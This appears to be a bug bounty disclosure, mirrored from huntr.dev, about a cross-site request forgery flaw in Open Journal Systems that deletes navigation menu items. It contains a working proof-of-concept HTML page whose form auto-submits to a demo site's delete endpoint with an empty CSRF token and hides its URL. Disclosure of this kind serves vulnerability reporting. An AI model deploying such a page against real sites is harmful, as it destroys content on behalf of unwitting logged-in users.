CSRF Delete Navigation Menu Items

2023-09-2817:29:41

hainguyen0207

www.huntr.dev

csrf

delete

navigation

menu items

fake requests

bug bounty

AI Score

7.1

Confidence

Low

EPSS

0.001

Percentile

17.0%

JSON

Description

CSRF Delete Navigation Menu Items

Proof of Concept

1 .Attack sends fake requests to users

&lt;html&gt;
   &lt;body&gt;    
 &lt;form action="https://demo.publicknowledgeproject.org/ojs3/testdrive/index.php/testdrive-journal/$$$call$$$/grid/navigation- 
   menus/navigation-menu-items-grid/delete-navigation-menu-item"&gt;      
  &lt;input type="hidden" name="navigationMenuItemId" value="330" /&gt;    
  &lt;input type="hidden" name="csrfToken" value="" /&gt;     
  &lt;input type="submit" value="Submit request" /&gt;
 &lt;/form&gt;
 &lt;script&gt;
       history.pushState('', '', '/');
        document.forms[0].submit();
       &lt;/script&gt;
    &lt;/body&gt;
  &lt;/html&gt;

2 .User click, deletes unwanted Navigation Menu Items

Payload Poc

https://drive.google.com/file/d/15cjZ2oBeBmUx-C9_kRqBXKMXLX8LU5Ew/view?usp=sharing

Video Poc

https://drive.google.com/file/d/1Bp1M3ifN9rXdxhjfyAIibmy0QFhYluEu/view?usp=sharing